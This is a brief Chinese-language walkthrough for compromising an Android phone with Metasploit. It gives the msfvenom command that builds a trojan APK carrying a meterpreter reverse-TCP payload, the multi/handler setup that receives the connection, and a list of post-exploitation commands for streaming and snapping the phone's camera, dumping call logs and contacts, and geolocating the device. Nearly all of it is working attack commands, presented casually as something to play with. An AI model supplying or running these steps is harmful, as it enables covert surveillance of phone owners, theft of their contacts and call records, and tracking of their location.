Metasploit 之渗透安卓

Msfconsole 启动metasploit的命令行模式

·木马： 控制端（控制原程） --------- 服务端（木马程序）

1. 根据自己的IP生成一个木马（192.168.136.129）

Msfvenom -p android/meterpreter/reverse\_tcp LHOST=192.168.136.129 LPORT=55555 R > test.apk

将生成的文件传送到手机，并在手机打开文件

1. Msfconsole
2. use exploit/multi/handler
3. set payload android/meterpreter/reverse\_tcp
4. set LHOST 192.168.136.129
5. set LPORT 55555
6. Exploit

表示手机安装不了，手机谨慎心太强了（IMG_256）

1. 玩一下

Webcam\_chat —— 手机摄像头

Webcam\_stream -i 1[2] —— 手机摄像头监控，默认是1

Webcam\_snap —— 手机截屏

Webcam\_list —— 选择前后摄像头

Check\_root —— 检查是否root

Dump\_calllog —— 下载电话记录

Dump\_contacts —— 下载信息记录

Geolocate —— 定位